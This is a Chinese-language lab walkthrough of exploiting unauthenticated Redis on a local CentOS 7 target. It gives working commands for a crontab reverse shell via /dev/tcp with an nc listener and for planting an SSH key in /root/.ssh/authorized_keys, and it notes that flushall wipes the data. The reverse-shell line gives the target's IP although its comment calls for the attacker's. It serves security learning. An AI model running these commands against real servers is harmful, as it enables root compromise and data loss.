0x00what is Redis

Redius是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。从2010年3月15日起,Redis的开发工作由VMware主持。从2013年5月开始,Redis的开发由Pivotal赞助。

Redis因配置不当可以未授权访问。攻击者无需认证访问到内部数据,可导致敏感信息泄露,也可以恶意执行flushall来清空所有数据。

攻击者可以用过EVAL执行lua代码,或通过数据备份功能向磁盘写入后门文件。
如果Redis以root身份运行,可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器。

0x01Build the env of Redis

靶机: Centos7

我们先拍个快照,后面再恢复。

Centos7安装redis:

wget http://download.redis.io/releases/redis-3.2.0.tar.gz
tar xzf redis-3.2.0.tar.gz
cd redis-3.2.0
make

然后使用vi修改配置文件让其可以被远程访问:

vim redis.conf
在bind 127.0.0.1前面加上#号,protected-mode设置为no

接下来启动:redis-server:

./src/redis-server redis.conf

启动好的话可以看到如图所示:
server-start
默认开启就是6379端口,也没有密码,这时候就会导致未授权访问,并可以使用redis权限写文件。

0x02漏洞复现

Centos7,也就是redius服务器IP:192.168.1.128
由于服务器需要公网地址,本地测试两台机子必须保持连通性。因而设置同一网段IP。
Kali:192.168.1.10.
这里搭建连通性会踩很多坑,比如kaliping不通Centos7的IP呀等等。
注意吧两个机子的连网方式都设置成NAT就好。
在攻击之前先学习一波redis命令
一、redis命令学习
接下来先学习一波redis的命令:
连接redis:

redis-cli -h 192.168.1.128

查看redis版本信息:

info

删除整个redis数据库(这个就不要做了。哈哈删库跑路可以):

flushall

查看所有键

KEYS *

获取默认的redis目录,rdb文件名。

config get dir
config get dbfilename

二、开始攻击
接下来打开攻击机kali使用nmap对其端口进行扫描:
nmap -p 0-65534 192.168.1.128

nmap
首先使用上面的步骤确定存在redis服务端口打开。
这里还忽略了一个很关键的点,我们攻击机也需要安装redis的相关服务。这样才能进行未授权访问。
同样使用上面的命令安装然后启动服务。
攻击的话有几种方法:
(1)利用计划任务执行命令反弹shell
首先可以直接连上redis仓库使用如下命令:

先CD到src下面
cd ~/redis-3.2.0/src
使用./redis -cli -h Centosip
./redis-cli -h 192.168.1.128

连接上之后先使用info获取一波信息:
info
这里一开始不管我怎么输入命令都提示我不能执行,说是配置文件必须注释掉127还有no掉保护模式。
这些我都做了,这里有个坑就是服务器开启服务的时候需要使用如下命令:

./src/redis-server redis.conf #以配置中的方式打开服务器
./src/redis-server  #默认打开存在保护模式。

当redis以root权限运行时可以通过计划任务的crontab来执行命令反弹shell.

先在自己的服务器上监听一个端口:
nc -lvnp 9999

然后再在连接的redis上输入如下命令:

set x "\n* * * * * bash -i >& /dev/tcp/192.168.1.128/9999 0>&1\n"  //设置正向连接而让shell反弹,这里的IP和端口都是攻击机的IP和监听端口

config set dir /var/spool/cron/  //设置redis目录为计划任务目录

config set dbfilename root  //设置目录名称为root

save

payload
之后监听的kali就弹回了shell并且已经拿到root权限:
crontab

(2)利用写入ssh文件getshell

利用前提:redis服务使用root账号启动
服务器开放了SSH服务,并且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器。

原理是在数据库中插入一条数据,将攻击机的公钥作为value,key值随意,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh下生成一个授权的key.

首先在攻击机下生成一个key

ssh-keygen -t rsa

key
然后进入.ssh目录:cd .ssh/
将生产的公钥保存到key.txt(前后用\n换行,避免和Redis里其他缓存数据混合),再把keys.txt的文件内容写入目标的主机的缓冲里

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
需要先cd到src目录下,cd /root/redis-3.2.0/src
然后将ssh的公钥key.txt写入redis服务器(也就是靶机)
cat /root/.ssh/key.txt | ./redis-cli -h 192.168.1.128 -x set xxx

然后远程登录靶机的redis服务
./redis -cli -h 192.168.1.128
使用config get dir得到redis备份路径

修改redis备份路径为ssh公钥存放目录

config set dir /root/.ssh (这也可以不做,默认就是这个目录)

设置上传公钥的备份文件名为:authorized_keys

使用config get dbfilename检查是否更改成功。
然后save后exit退出

最后使用ssh -i id_rsa root@192.168.1.128即可免密登录redis服务器了。
最后可以看到成功免密登陆到靶机上面:

success

参考链接:
师兄的文章
博客园redis漏洞复习文章
FreeBuff的Redis未授权访问